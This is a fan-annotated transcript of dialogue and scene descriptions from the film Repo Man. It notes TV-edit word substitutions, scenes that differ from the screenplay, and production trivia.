The pumps at the gas station say "Pace Gas". Next to the pump is a campaign poster for Harry Pace, running for City Council. These posters appear elsewhere in the film. In his posters, Harry Pace has a happy face.
(This scene starts with Oly pulling up to a gas pump and placing a gun on the dashboard. He sees the Malibu and gives pursuit, but loses it when it ducks into the car wash. The screenplay then jumps to the John Wayne scene after a very short scene in which Otto gets to drive Marlene home.)
(Kevin is warning a worker about sloughing off while simultaneously extolling the virtues of Harry Pace)
Kevin: I'll deal with you later. I've got a customer to attend to. You too.
Kevin walks over to Malibu.
Kevin: (Holding up a vacuum hose) Hi! I'm Kevin. Vacuum sir?
Kevin: Need a vacuum sir? (Kevin runs the vacuum for a second)
Parnell runs fingers through sweaty hair and pulls out a clump.
J. Frank Parnell: Have you any machines?
Kevin: You don't want to eat from a machine. Look, there's a nice Del Taco across the street. They've got enchiritos and everything.
(note: Enchirito is actually a trademarked product of Taco Bell)
J. Frank Parnell: But I do want to eat from a machine. Vended food contains all the necessary nutrients for survival. Taste damn good too, by golly. And plus, on any given evening, the machine that last night gave you cheetos might dispense instead... Doritos. Yohos. Oreos. Tosquitos (tostitos?). Or Lorna Doones.
Kevin: Lorna Doones? I love Lorna Doones. (All we got left is Ding Dongs) .
(J. Frank Parnell: The randomness of it all is quite appalling. It is, in fact, too random to be random.)
Parnell walks off screen and we hear puking sounds.
Kevin: Oh hey! You want me to check the trunk? Scuze me.
Lagarto and Napo pull up in a car one other side of pumps. Latino music plays on their car radio.
Kevin: Hi! I'm Kevin!
Napo: Hey buddy! How you doing? Huh? Hey don't you remember me? I was here yesterday. Heh. Listen I think I left a book of matches over in your office over there. You want to go and check for me huh?
Kevin: Sure thing.
Napo: Hey thanks a lot buddy.
Kevin: Any thing for you babes.
Napo: All right, you're beautiful. I love you.
Kevin: I'll be right back.
Lagarto gets in the Malibu and both cars drive off. Kevin returns from inside and sees both cars gone. Two other attendants sit at a table and also look; the attendant on the right is director Alex Cox.
Kevin: What??
Shot of car driving down freeway, passed by a group of 6 men on 4 motorscooters weaving in and out among themselves (these are "The Untouchables", a soul/mod revival band from LA who will appear as Mrs. Parks children in the next scene).
Otto and Mrs. Parks in Mrs. Parks' living room
Otto: It's really very simple Mrs. Parks. You don't want me to take your car and I don't want to take your car. Now I said to the boss I said ah Look! I do not want to repossess this lady's car.
Sound of motorscooters pulling up outside of house.
Mrs. Parks: Well I' ve been in the hospital you see.
Otto: Yeah, Yes I understand. My job is really on the line over this one. I could lose it right away.
Mrs. Parks: I'll see if I can borrow some money from somewhere.
Otto: That's terrific. Really terrific.
Mrs. Park's son and his fellow band members enter. A particularly huge one sits down next to Otto.
Mrs. Parks: Oh how was the rehearsal son?
Mrs. Parks' son: It was O.K. Who's this?
Mrs. Parks: Oh this is Mr. Otto. He's from the finance company. He's been telling me that he isn't going to take the car this time, even though he could.
Otto: Well, uh, gotta get going here.
Otto fumbles nervously with his briefcase trying to close it.
Mrs. Parks: Did you like the tea?
Otto: The tea?
Mrs. Parks: Uh huh?
Otto: Yeah, it was terrific.
Otto: Thank you
Mrs. Parks: You're welcome.
Otto: Uh excuse me.
Otto walks outside and gets in car. From outside we hear Mrs. Parks yelling at her sons.
Mrs. Parks: I gave you the money last week to pay it and you didn't do it. What did you do with it? I'm so tired of giving you money and you squandering it. I know what you done you all went out dancing somewhere. That's what you did. Next time I give you some money I want you to put it in the car, ya hear. You're working. How come you didn't do it huh? I don't know what's happened to you. (continues softly)
Otto starts car and guns engine, but now we clearly see that the rear wheels are up on jacks (* that it wasn't up on jacks before has been listed as a goof and even confirmed by Alex Cox, but I think they're wrong. It is hard to tell in the dark, but you can see the base of one of the jacks lit up by a light from the house which goes dark as a band member runs in front of it on the other side of the car, thus confirming that the car actually was up on jacks in all the scenes *).
Band members run out of house and pull Otto out of car.
Otto: Hey it's cool. It's cool. I like music too man, hey
Otto gets beat up. One band member hits him twice over the head with a guitar, making an audible "kabong" noise. Supposedly you can hear one member saying "this one's for Keith Moon", but I've never been able to make it out.
Miller, Plettschner and Otto in the lot.
Miller is chanting and dancing like a native American as he puts a bandage on Otto's head.
Plettschner: Some people aren't cut out to be repo men. Why don't you smarten up kid?
Otto: Fuck (flip) you Plettschner! OWW! OWW!
Plettschner: Don't you say fuck (flip) you to me. Don't you know who I am?
Otto: Yeah you're Plettschner.
Plettschner: You're fucking (flippin) right I'm Plettschner. Otto Plettschner. Three times decorated in two world wars. I was killing people while you were still swimming around in your father's balls (guts) . You little scum bag! I worked five years in a slaughter house and ten years as a prison guard in Attica.
Otto: So what?
Plettschner: So what? So never say fuck (flip) you to me. Because you haven't earn the rights yet.
(Several lines of dialog in which Bud asks for a contract driver and chews out Otto for not taking the opportunity.)
Lite enters
Lite: Hey kid I need a contract driver.
Otto hesitates.
Plettschner: See what I mean punk?
Otto: Fuck (flip) you!
Plettschner: Fuck you! (What!) You little scumbag.
Lite: Shut up, Phlettschner.
Plettschner: Don't you ever tell me to shut up.
Lagarto and Napo in the Malibu
They pull up in front of a diner.
Napo: Shit (shoot) ! Que calor!
Lagarto: Si
Napo: It's too hot in here man. What the hell's going on? So fucking (flippin) hot I think that shit in the trunk is going to melt. I think we better take a look, all right?
Lagarto: Go get us two sodas.
Napo: All right, as soon as I check the trunk.
Lagarto: We're just the mules, comprende? (Andale')...
Napo leaves the car first. As Lagarto gets out from behind the wheel, we can see he's holding a stack of papers. The one on the bottom says Top Secret and Clear Intent. This is a flyer created by Barry Greenwood to announce a book he co-wrote with Lawrence Fawcett called "Clear Intent". It's about government investigations into UFOs and was published in 1984. Some sources also claim "Clear Intent" to be the original title of the screenplay for the Emilio Estevez film "Men At Work"
Lagarto calls Marlene from phone booth. A sign in the window of the diner behind him says "2.95 Plate O-Shrimp Luncheon Special".
Marlene: Helping hand.
Lagarto: Marlene! We've found the car.
Archie, Duke, and Debbie exit a window and go down a fire escape [ dropping armloads of pills as they go ] . Behind them, a sign says "Fox & Mac Taggert Pharmaceutical Company".
Duke: Come on you guys!
Duke: Get the lead out.
Debbi: Stop pushing Duke.
[ Archie: My medication. Aw man!
Duke: Aw be cool dude we got more.
Debbie picking up some dropped pills: Aw let me help you Archie dear. ]
Archie: Come on. Come on. da-dee-dee-dee-dah-dah dee-dee... (continues to the tune of The Ride of the Valkyries)
Lagarto on the phone with Marlene
Lagarto: Yeah well that's not the only thing Marlene. This car is hot.
Marlene: What do you mean? Stolen?
Lagarto: No. No I mean it's hot really hot.
Marlene: Hot?
Lagarto: Yeah, we're sweating like pigs man.
Marlene: I got the papers. Where is the car from?
Lagarto: It's from someplace. Ah Roswell, New Mexico
Archie and Duke run by the Malibu. Debbie stops, whistles and gets in the car. Archie and Duke jump in and they drive off to the sound of a Latino version of The Ride of the Valkyries. Lagarto walks out of the phone booth just as this is happening and drops his clipboard in disgust. Napo walks out of the store, silently hands Lagarto a soda, and they both stand there and sip their drinks through straws.
Otto and Lite in a car
An instrumental version of Bad Man is playing on the tape deck in Lite's car. According to Cox, this is a scene originally written for Bud but changed because of the difficulty Cox was having working with Harry Stanton Dean. For more information on this, see the FAQ.
Lite: Me fight in a war man? Fuck (hell) no way! Nobody's got to do that shit. Not in this country. A new I.D. don't cost no more than a pink slip. You know what I mean?
Lite: Something wrong?
Otto: You know Marlene? Man she's pretty hot.
Lite: Otto my man. I jumped on that action from day one. I found out where she was coming from.
Otto: See ya back at the yard.
Lite: Have fun.
Otto slimjims car and tries to start it. While bending down, window shatters from gunshot.
Otto: Oh shit (damn) . Holy shit (smoke) . Lite! [ Holy shit. Holy fucking shit ] . Lite! Lite! Lite! Lite! Open the door. There's a maniac in there. What are you doing? Open the door man! What are you doing? What are you doing? Open the door. Lite!
Lite gets out and starts shooting back. He fires 9 times (one or two of the shots doesn't flash like the others).
Lite: You're still on the job white boy. Get in the car.
Otto: Open the door man, open the [ fucking ] door. Open the door Lite.
Lite: Get in the car.
Otto: Jesus Christ. (Holy cripes.)
Otto gets back in the car, starts it, and both cars drive off.
Lite and Otto in a field
Otto: You're crazy Lite. I mean you can't just shoot into people's houses. I mean maybe you shot the guy.
Lite: So what if I did?
Otto: Well I don't know I mean that's pretty severe.
Lite shoots the gun at Otto's feet. Otto drops his beer, getting some on his pants.
Otto: Jesus Christ. (Holy cripes!)
Lite: Hey! Blanks get the job done too.
Otto: You repo men, you guys are all out to fuckin (flippin) lunch. Let's get out of here.
Sunrise on the Skyscrapers of LA
We hear a phone ringing.
Leila walking down street
Leila walks by a phone booth and hears the phone ringing. She picks up the receiver and hears the sound of someone reciting Jabberwocky, played backwards.
Leila: Hello. Is it you? This is Leila. Are you using a scrambler?
Parnell is directly across the street speaking into another pay phone.
J. Frank Parnell: I can't hear you. I'm using the scrambler.
Leila: (garbled noises in background) Look out!
J. Frank Parnell: What?
A car swerves into the phone booth, then crosses street and hits a fire hydrant. The agents are trapped inside by the airbags. More agents appear and chase Leila
Agent: Happy face! You want a ride?
Leila makes some yipping noises as the agents grab her and push her into the car. * Her mouth doesn't appear to be open or moving. *
In Agent Rogersz van
An agent types while eating potato chips. The camera pans across the van to Agents Rogersz, who is watching a monitor which shows Leila being questioned
Leila: What do you want from me?
Agent: We ask the questions.
Leila: You're not going to torture me are you?
Agent: Torture you? What for?
Leila: To find out what I know. I'd torture someone in a second if it was up to me.
Agent: Huh? Why are you looking for the Malibu?
Leila: Because of the trunk. The aliens inside.
Agent: Illegal aliens?
Leila: No, Silly, Extraterrestrials.
Agent: Ahhh, heh. Did you ever think about joining the CIA?
Leila: Um. I going to have to ask my boyfriend.
Agent: Boyfriend??
Rogersz computer screen prints up the following information
subject: Otto Maddox
gender: male
race: Caucasian
age: 21
correction: 18
A party at the Helping Hand yard
(It was Lite who was beaten up instead of Otto. He makes his first appearance in this scene and the only other scene he appears in is the party scene.)
Everybody: Jingle bells. Jingle bells. Jingle all the way. Oh what fun it is to ride in a one horse open sleigh.
Otto: What's going on?
Marlene: Oh. The usual.
Plettschner: Marlene! How you doing baby?
Oly: Jesus (Golly) who done that to ya son?
Otto: Who done what?
Bud: Who done what he says. You want to talk about guts. What did you do to your face kid?
Otto: Oh some dude it doesn't matter.
Lite: Oh yes it does.
Marlene: Why don't you do something Plettschner? Aren't you a cop or something?
Plettschner: Hey Marlene. I'm on my coffee break.
Bud: Repo man don't go running to the man Marlene. A repo man goes at it alone.
Lite: Yes sirree bob.
Marlene: Just like John Wayne.
Oly: Damn right just like John Wayne what's wrong about that?
Plettschner: Greatest American that ever lived.
[00:53:30] Miller: John Wayne was a fag (freak) .
Bud: What did you say man?
Plettschner: Whaa?
Oly: What?
[ Miller: John Wayne was a fag. ]
Everyone: (in unison) The hell he was.
Miller: He was too you boys. I installed two way mirrors in his pad in Brentwood. And he'd come to the door in a dress.
Plettschner: Ah, you're fucking (flippin) nuts.
Oly: That doesn't mean he was a homo (freak) , Miller. Lotta straight guys like to watch their buddies fuck (play) . I know I do.
Bud: They do?
Plettschner: Yeah.
Oly: Don't you?
Plettschner: Damn straight I do.
Lite: Fuck (Damn) John Wayne man. Tell us his name you little pussy (sissy) .
Otto: Kiss off you asshole (airhead) .
Otto starts to walk away, but the others grab him, drag him back, and hold him down by the back of his neck.
Otto: Ow you bastards (loonies) !
Bud: Hey take it easy. Take it easy. The guys head is hurt.
Oly:You're taking this too personal, son. The thing is a repo man got beat up in the line of duty. Now it doesn't matter that that man was you. What really matters is that the guy that did it has got to pay the price. Now stop being selfish and tell us his name.
Lite: Come on.
Otto: Ahh Oww You bastard (buzzard) .
Lite twists Otto's arm and Oly stubs his cigar out on his neck.
Otto: All right! All right! All right! All right! O.K. his name was...
Repo men driving at night
Lite, Bud, Oly and Miller in the car wearing baseball caps and mirrored sunglasses.
The repo men in the front of Mr. Humphries's house
Two of the repo men are at the door and ring the bell. Mr. Humphries opens the door. In the background, we get a glimpse of Kevin, who appears to be in his pajamas and is standing by a Christmas tree. (This is specifically called for in the script but never explained).
Oly: Mr. Humphries?
Mr. Humphries: Yes? Yes I'm Mr. Humphries. What do you want? Ungghhh...
Repo Men beat up Mr. Humphries.
(CUT TO - Kevin being dragged along behind the Impala)
(Standing over an unconscious man and beating him with baseball bats, the Repo Men consider that they might have the wrong address. This is followed by a scene where Otto drops Marlene off at home and successfully talks his way inside. After some lovemaking, they discuss Otto having to go off and fight in a war and Marlene makes her anti-imperialist views known.)
At the Helping Hand Acceptance Corporation office
T.V.: The president admitted that U.S. war planes have napalmed refugees camps in Southern Mexico. He explained that these camps were in fact guerrilla bases. In strife torn Guatemala shots were fires at the U.S. embassy and government troops retaliated killing 50... (continues in background)
Marlene: Helping hand acceptance corporation. Marlene speaking.
Leila: Hello, is Otto there?
Marlene: It's for you. A girl.
Otto (on phone): Yeah.
Leila: Hi Otto? It's Leila.
Otto: Leila who?
In a bar.
Duke, Archie, and Debbie enter the bar, checking their weapons at the door. They assemble at the bar standing next to Rodney Bingenheimer (listed in the credits as Bengenheimer). The Circle Jerks are on stage playing When the Shit Hits the Fan.
(Otto and Leila are in a restaurant where Leila tells Otto about an underground network called the Keepers of Ezekiel.
Otto: Do you write for the National Enquirer?
Leila: Sometimes. It pays the bills.)
Otto: I can't believe I used to like these guys.
Agent Rogersz: Listen to me! For the sake of this and future generations you must tell us everything you know.
Otto: Yeah. Sure. I need another drink.
(Agent Rogersz describes the secret agency she works for and explains to Otto why they must not let the aliens fall into the wrong hands.)
Leila: Otto, these aliens aren't on ice or anything. They could be starting to decay. We've got to find them before they turn into mush.
Duke: Well! Well! Well! If it ain't the repo man.
Archie: You look like shit (snot) you wankers (weirdos) .
Otto: Duke. Debbi. Archie. I'd like you to meet Leila and her weird friend.
Duke: How you doing, asshole (airhead) ?
Archie: How come you don't hang out with your friends no more?
[ Otto: What friends?
Debbi spits at Leila
Duke: Want some byoot dude?
(The screenplay starts with coke, but eventually it is crossed out and "byoot" is handwritten next to it.)
Duke spills his bottle of generic Butyl Nitrate on the table. Debbie and Archie yell and put their noses to the table to sniff it all up.
Duke: I really love ya man. You're my best friend. Because you always fucking came to see me while I was in Juvie.
Otto: I'm busy man. I told ya I was working.
Debbi notices Agent Rogersz gloved hand which is supposed to appear like it's made of metal but really doesn't.
Debbi: Look, a metal hand.
Archie: Cool!
Debbi: Can we feel it?
Archie: Oh Chante. ]
Duke: Fuck (flip) this let's go do some crimes.
[ Archie: Adios butthole. ]
Leila: Charming friends you got there Otto.
Otto: Thanks, I made'um myself.
(The next scene is J. Frank Parnell at the Car Wash talking about vended food. It starts with his comment about almost being able to see the stars. This is followed by the Malibue drives down the street scene.)
Debbi, Archie and Duke leave to find J. Frank Parnell breaking into the Malibu
Debbi: Hey what [ the fuck are ] you doing with our car?
J. Frank Parnell: Your car?
Archie: Yeah!
J. Frank Parnell: Are you sure? This looks like my car. Are there pecan pies in the back seat?
Archie: Not any more. We ate 'em.
Duke: Shut up Archie.
Archie: You shut up.
Duke: You're still here?
J. Frank Parnell: My car looks just like this. But this is yours, your car?
Archie: Yeah four eyes.
J. Frank Parnell: Of course...what's in the trunk?
Duke: What do you mean?
J. Frank Parnell: You don't even know what's in your own trunk.
Debbi: Kill him Duke!
J. Frank Parnell: You know what? I think you're afraid to find out.
Debbi: Kill him.
Archie: Come on Duke you putty butt, kill him.
Duke: (softly, and like he's doing a bad Jimmy Cagney imitation) I aint afraid of nothing see.
J. Frank Parnell: It's all right I don't blame you for being afraid.
Duke: I said I ain't afraid of nothing. I kill people like you.
J. Frank Parnell: Oh well. I guess you're right. It's better not to look.
J. Frank Parnell: Beautiful evening. You can almost see the stars.
Archie: Oh shut up. Duh. He's going to open it. HAHAHA
Duke: Ah.
Archie: Come on Duke.
Duke burns his hand on the trunk and wraps a handkerchief around it.
Duke: This thing is hot.
Archie: AWWW, heh heh heh
Debbie: Well we don't have all night.
Duke opens the trunk a little and a bright light is emitted. Debbi pushes him away.
Debbi: Close it Duke! No! No!
Archie (jumping down off the roof of the car): Aw. Dukie Wookie hurt his wittle hand.
Duke: Fuck (flip) you Archie! Just for that your not in the gang anymore.
Archie: I'm taking over now.
Debbi: Oh leave it off.
Archie: King Archie the invincible.
Debbie: Shut up Archie.
Archie: Hey Debbi! Watch this.
Archie opens the trunk and is disintegrated
J. Frank Parnell: Oh dear, what a shame.
Debbie: Come on duke let's go do those crimes.
[00:59:50] Duke: Yeah. Yeah. Let's go get Sushi and, and not pay.
Malibu drives down the street
(Parnell hears Reverend Larry on the radio tell him that April 5th, 1999 is going to be a very special day. Parnell reaches for his pocket diary.)
Napo and Lagarto in a convertible pull up along side of J. Frank Parnell driving the Malibu
Napo: Hey! Yo! Hey buddy!
Napo: Special deputies pull over. Special deputies pull over.Hey!
The repo men in a car
The mirrored sunglasses are now off.
[ Oly: So the department says the ice broke and he fell in.
Bud: Look at these people man there's one person in each car. City wants up to car pool but nobody gives a shit.
Miller: People car pool, we'd be out of work.
Lite: AWW bullshit!
Oly: How come that pig's got a wooden leg? Well said the farmer said about three months ago I was out there walking the pig.
Miller: (whistles) Look at that car. ]
They see the Rodriguez brothers driving alongside the Malibu
Lite: Hey Budsky. There's your Girlfriend.
Bud: Aww! Those Rodriguez brothers Humm? O.K., boys, we've got the whole team here tonight lets settle these motherfucker's (melonfarmers) hash for good.
Lite: Let's do it.
[ Napo: Yo! Pull over.
Lagarto: Meda Bud. Shit! ]
Napo: Don't lose him man.
Bud swideswipes the Rodriguez brothers' car while the Malibu drives off with a noticable green glow coming from inside. Bud begins chasing the Rodriguez brothers.
Miller: Hey! Hey! Take it easy. Stop this [ fucking ] car. Hey come on. Come on.
The Rodriguez brothers are forced underneath a bridge or elevated highway and eventually have to stop the car. Napo jumps out of his car and onto the hood of Bud's car where he begins yelling and kicking at the windshield.
Napo: [ Shit motherfucker! Come on! Come on motherfucker! Yeah. Come on I kick you fucking ass. ] Come on! Come on! What are you going to do with that bat? What? Huh? What?
Lagarto: Hey! Hey! Hey!
Lagarto: Too bad Bud. This is going to cost you plenty.
Bud: What do you mean its going to cost me plenty?
Lagarto: How's your neck Napoleon?
Napo: Oh my neck? Yeah! Oh! [ Shit! Oh shit ] my neck is killing me man. I think I got whiplash.
Lagarto: Aside from whiplash, this isn't a repo car.
[ Bud: Bullshit! I got the fucking papers on it. ]
Lagarto: We paid it off. You see, uh this is our favorite car.
Napo: Yeah that's right. You got insurance [ motherfucker ] ?
Bud goes after them with a baseball bat but the rest hold him back. According to Alex Cox, Harry Dean Stanton infuriated everyone by insisting on using a real baseball bat even though it was clearly not safe to do so. For more on this, see the FAQ.
Bud: Come on [ cock sucker ] . Whose side are you on [ for Christ'ssake ] ? Let me go [ goddamn it ] .
(This is followed by:
REPO MAN THEME MONTAGE
in which OTTO repoes countless cars - hurling dead rats into convertibles at traffic signals - extorting favors from FASHION MODELS - evading BELLKNAP and DANVERS - building a cheerful necklace of BLUE XMAS TREES... There is then a scene where Bud drives Otto up into the mountains to see his outpost, the place where he's gonna hole up when the shit comes down.)
Next morning at the Helping Hand office
Plettschner is sitting in a corner knitting. A television set on Oly's desk is showing a football game which gets interrupted for a commercial. The commercial, featuring Michael Nesmith as a high energy pitchman, is actually a scene from the video "Elephant Parts".
Bud: [ Shit! ] This is bullshit (hokum) Oly.
Oly: Yeah Yeah that's what I said when the marshal woke me upat 4 o'clock this morning . Unfortunately it isn't bullshit (hokum) , it's a summons.
Bud: [ Well bullshit. ] You should have refused to accept it.
Oly: Have you read it? The goddamn (gol-durn) Rodriguez brothers are suing us for malicious damage, medical expenses and harassment for a car they fucking (flippin) own.
Bud: The Rodriguez brothers. But. Ha! You believe the fucking (flippin) Rodriguez brothers? They're a couple of scumbags Oly. You know that?
Oly: I know that bud. But we've got to sit down and get our stories straight.
Bud: Bullshit (Hogwash) you're taking their word against mine.
Oly: I was there, remember? Why don't you go home? Take the rest of the week off.
Bud: Take the rest of the? I can't take the [ fucking ] rest of the...OW yeah! I Un Huh I get it. Take the flippin rest of the week off budsky. So you can get the flippin twenty thousand dollars for the Malibu.
Oly: Make it a fucking (flippin) month.
Bud: Yeah? Well fuck (flip) you.
Oly: On second though Budsky. Don't bother coming back at all.
Bud: Great! I'll come back and pick up my stuff later when the fucking (flippin) place don't stink so bad.
Plettschner: Ha! Ha! Ha!
Oly: Shut up!
Bud and Otto in Bud's car
Otto is driving the car.
Bud: [ Fucking trash ] . Makes you wonder how much they owe. Most of them are on the run. Don't even use their fucking (flippin) social security numbers. If there was just some way to find out how much the motherfuckers (melonfarmers) owe and making them pay.
Otto: Jesus Christ (Holy cow) bud. They're winos, they don't have any money. You think they'd be bums if they did?
Bud: You want out? Do ya?
Otto: No!
Bud: What's a matter with you? Don't you like your job anymore? Not too happy in your job? I mean I feel like were not communicating anymore. When we first started out I though I could teach you something share something with you for Christ's sake. Answer me!
Bud reaches over and turns off the car. Otto gets out and walks down street amongst the bums and winos. A slow version of Reel Ten plays in the background and he passes two agents in radiation suits carrying off a dead body and putting it in the trunk of a car.
Agent: (heard in background) I'm picking up the dead. I'm putting my hands around this dead body. I'm, I'm carrying his limp torso to the truck. And he feels like like he has only been dead a little while but...
Otto sees the Malibu and gives chase, music changes to strains from the Repo Man Theme. Losing the car, Otto stops to puke over the side of the bridge. When done, he sees the Malibu emerge from under the bridge. He runs down the stairs and after the Malibu as it goes through a railroad crossing which has red lights blinking and bell ringing. J. Frank Parnell stops and lets him in at what appears to be the corner of Palmetto and Mateo.
It is reported that they pass this corner several times during the following sequence, but this could be just because Parnell is driving in circles.
J. Frank Parnell: [ Oh do me de. ] (holds out hand) J. Frank Parnell.
Otto (out of breath): Ott, Ott...
J. Frank Parnell: What line of work you in?
Otto (still out of breath): re, re, re..
J. Frank Parnell: Rock'n'roller, eh!? I used to be a musician myself, college days. Of course it was folk songs and protest songs back then. (J. Frank Parnell: Reporter? Used to be one myself, back in my college days. I covered all the folk concerts and protest songs. Michael Row the Boat Ashore, Little Boxes . Familiar with those songs? Pete Seeger and the Weavers, wasn't that a time! I almost had an affair with Ronnie Gilbert. Stopped myself in the nick of time!)
(begins singing, badly) We shall overcome, we shall overcome...
Otto coughs.
J. Frank Parnell: (stops singing and scratches ear) Did you ever feel as if your mind had started to erode?
* As Parnell says this, we see a shadow of the camera vehicle with crane on the wall outside of Parnell's window. *
Otto: No.
J. Frank Parnell: (That's all right. You will. You will. You ever think that maybe you were sitting on the greatest gift that Mother Nature ever gave the world? Only the world was just not old enough to use it wisely?) Ever been to Utah?
Otto: Nuh-uh
J. Frank Parnell: I go to Utah every year. Friend of mine, was a designer of the MX missile race track basing mode. A hundred thousand miles of railroad track on a big loop through Utah, Arizona, and Nevada. Bombs were going to hide in locomotive sheds. That way the red team would never know exactly where they were. I still go out to Utah, just to think about the way things might have been.
Otto: Sir. I represent the Helping Hand Acceptance Corporation.
J. Frank Parnell: Radiation, yes indeed! You hear the most outrageous lies about it. Half-baked goggle-boxed do-gooders telling everybody it's bad for you. Pernicious nonsense! Everybody could stand a hundred chest X-rays a year. They ought to have 'em too. When they canceled the project it almost did me in. One day my mind was literally a-burst. The next day nothing. Swept away... But I'll show them. I had a lobotomy in the end.
Otto: Lobotomy? Isn't that for loonies?
J. Frank Parnell: Not at all. A friend of mine had one. Designer of the neutron bomb. Ever hear of the neutron bomb? Destroys people. Leaves buildings standing. It fits in a suit case. It's so small no one knows it's there until blammo. Eyes melt skin explodes everybody dead. It's so immoral working on the thing can drive you mad. That's what happened to this friend of mine. So he had a lobotomy. Now he's well again.
Otto: What kind of car does your... does your friend drive?
J. Frank Parnell: Chevy Malibu.
Otto: And you do the same type of work?
J. Frank Parnell: Didn't I tell you? I can't tell you what I do. I'm classified.
Otto: This is really a nice old car. Why don't you let me drive?
J. Frank Parnell: What do you mean?
Otto: Well I don't know. I mean...uh! Don't you feel funny.?
J. Frank Parnell: Why should I feel funny? The two hemispheresare fundamentally at odds. Hemisphere, Hemisphere. You know it's strange. I do feel funny...
J. Frank Parnell slumps forward and drives slowly into the sign at another railroad crossing. Otto lifts Parnell's head and sees blood dripping from the nose. We presume him dead. Otto dumps him and drives off with the Malibu.
Repo Yard at dusk
Otto parks Malibu at the lot and locks it up. He sees a note posted on the gate: "Big Party at Millers. CU There."
(This is where agents poke around Parnell's body and it's also the scene with the conversation between Leila and Gloria (aka Agent Rogersz) where Gloria will pull up Otto's info on her computer. In this version, she'll also convince Leila that it was Otto who killed Parnell.)
Party at Miller's that night
Oly: By the way kid, sign this.
Otto: What is this?
Oly: Equity turnover. Standard practice. Protects you in case we get sued. . . Don't read the damn thing, kid, just sign it.
Miller has a camera and the flash goes off as he accidentally takes a picture of himself.
Four woman surround Otto, two beside him and two behind. One or both of the ones behind him may be transvestites. Milk Cow Blues plays in the background.
Repo wife 1: Here's the young new-waver we've all heard so muchabout.
Repo Wife 2: My old man had a mohawk on him when I met him. He was in the service then.
Oly: He signed it over to me. But he didn't realize
Repo wife 2: My old man was such a monster. I used to have to tell him no.
Repo wife 1: My old man was exactly the same way until we got married.
Lite: Hey Oly. You're wife's hanging all over Otto.
Oly: Yeah. Like flies on shit (spit) .
Otto: Um. Have you see uh bud anywhere?
Repo wife 1: Who?
Bud and Otto in office
TV: ...another wonderful Christian opportunity. The Reverend Larry...
Bud: Hey there hero. Get the money yet?
Otto: Not yet. Oly's going to get it for me though. I just signed the papers.
Bud: Whu, what do you mean, what papers?
Otto: Beats me, just some, uh, contract or something.
Bud: Didn't you read it?
Otto: Well, no, just, uh, standard practice, uh, contract...
Bud: Melonfarmer Oly! ...oooh, shoot.
Otto: What, is that not a happening deal?
At the Repo Yard
Somebody cuts the padlock and opens the gate. The Malibu awaits within.
(This does not occur until after the shootout at the liquor store.)
(In the screenplay, the scene with Otto's parents covered in cobwebs goes here.)
Bud driving in his car
Otto walks down street
Otto passes Bud's car. We hear a dog growling.
Bud: Hey ace. Wait up.
Otto driving Bud's car
Otto: So you want to talk about it?
Bud: Talk about what kid?
Otto: Why you're so damn mad at me?
Bud: I'm not mad at you. [ God ] damn. I'm not. I'm not mad at you.
Otto: All right O.K.
Duke and Debbie in car in front of a liquor store
Let's Have a War is playing faintly on the car radio. A sign in the store window advertises "Commando" cigarettes at $7.99 a carton.
[ Duke: Debbie?
Debbie: What?
Duke: I've been thinking. Now that we've got some money and Archie's gone, don't you think it's time we we settle down? Get a little house. I want you to have my baby.
Debbie: Why?
Duke: Well I don't know. Every body does it. And it just seems like the thing to do and...
Debbi: Asshole. ]
Duke: Let's go do the job.
Bud and Otto are at the counter. Duke and Debbi enter waving guns.
Otto: Duke! Debbie! What what are you guys doing here?
Duke: What's it look like ace?
Debbie: Up against the wall.
Duke: I'm going to kill him. I'm going to kill him. I'm going to kill everybody. ha-ha-ha
Bud sneaks his gun out. Louie sees him from down an aisle.
Louie (to Bud): Drop it motherfucker (melonfarmer) .
Louie now sees the others with the guns. Bud waves his back and forth. Debbi shoots Bud in the head.
Bud grasps the side of his head as his arm swings out into a row of bottles which break open with red liquid everywhere. * It is reported that the settings on his gun show the magazine to be empty even though he has not fired a single shot. *
Bud (grasping his head): Oww shit (shoot) .
Duke shoots Louie. Louie goes down but manages to shoot Duke, but then is out of bullets. Duke walks over to Louie to finish the job, but the counterman pulls out a shotgun and shoots Duke. Debbie shoots the counterman. Now only Debbie and Otto are left standing, and Debbie is pointing her gun at a very scared Otto.
Otto: Debbie Ah. Ah Do You, uh, do you think it's too late uh for us to get romantically involved?
Debbie: I think a little.
Otto: Wait! Wait! Stick with me. I'll make you a repo wife.
Debbi: Bollocks. Here. (tosses Otto a bag of popcorn)
(Debbi gets shot also and as she is dying tells Otto that it was him she always loved... if only he hadn't been such an asshole at the party.)
Duke (laying face down on floor): Otto?
Otto: Yeah I'm here man.
[01:13:43] Duke: The lights are growing dim. I know a life of crime led me to this sorry fate. And yet I, I blame society. Society made me what I am.
Otto: That's bullshit (nonsense) . You're a white suburban punk, just like me.
Duke: But it still hurts.
Otto: You're going to be all right man.
Duke pukes up some blood.
Otto: Maybe not.
Agents photographing a dead J. Frank Parnell
One of these agents is Jimmy Buffet, who was working with Michael Nesmith at the time the film was made.
Agent: Yep he's dead all right.
Agent: No doubt about it.
Agent: He's a goner.
Agent: Man.
Agent Rogersz: Don't touch the body, don't touch the body.
Agent: Sorry.
Agent: Telephone call for you agent.
Agent Rogersz: Don't bother me now.
Agent: But Agent Rogersz, it's the Gipper.
A man in a radiation suit pours gasoline on the body and lights it on fire
Agent: Look.
Agent: Booth's setting him on fire
Otto enters Parents living room
Parents are covered with cobwebs and watching TV.
Reverend Larry on TV: ...fail to register for patriotic chores. So, please call this toll free number. Praise the lord. There is no redemption for the unredeemed, no escape for the fair weather patriots. No salvation from the boiling blistering fires of eternal damnation. Now these are the end times. Because in these days there shall be hell in time. Man shall be lovers of their own self rather than lovers of God.
Otto's Dad: Haven't seen you in a while, Son.
TV: No escape...
Otto's Mom: Some men were just here looking for you, Otto.
TV: No salvation from the blistering files of eternal damnation. For in these days there shall be hell in time, there shall be war and more war, and earthquakes in diverse places...
Otto: What kind of men?
Otto's Mom: Very nice young men. They wore sunglasses.
Otto: Well, what did you tell them? Did you tell them I was sick?
Otto's Dad: We told them the truth, son. Gave them your address at work.
TV: Money shall run out and the people will line up at the banks and there won't be anything . . . these prophecies are in your bible. The same one that you have in your home. Now I want you to get up off of your sofa and put that beer down and go wherever it is in your house pick up that book and turn with me...
Otto turns off TV and leaves.
(Otto pours gasoline on house and lights it on fire)
Later that same night at the Repo Yard
Otto sees a big argument going between Marlene and blond agents inside the office and runs towards the door.
Agent (from in the office): Where's the car baby? That Chevy Malibu baby. Where's the car?
Plettschner jumps out of the shadows and grabs Otto by the arm.
Plettschner: Otto!
Otto: Jeeze.
Plettschner: You got to stay out of this.
Otto: Why?
Plettschner: It's none of your business. You want to be a hero? Or would you rather be a chicken man?
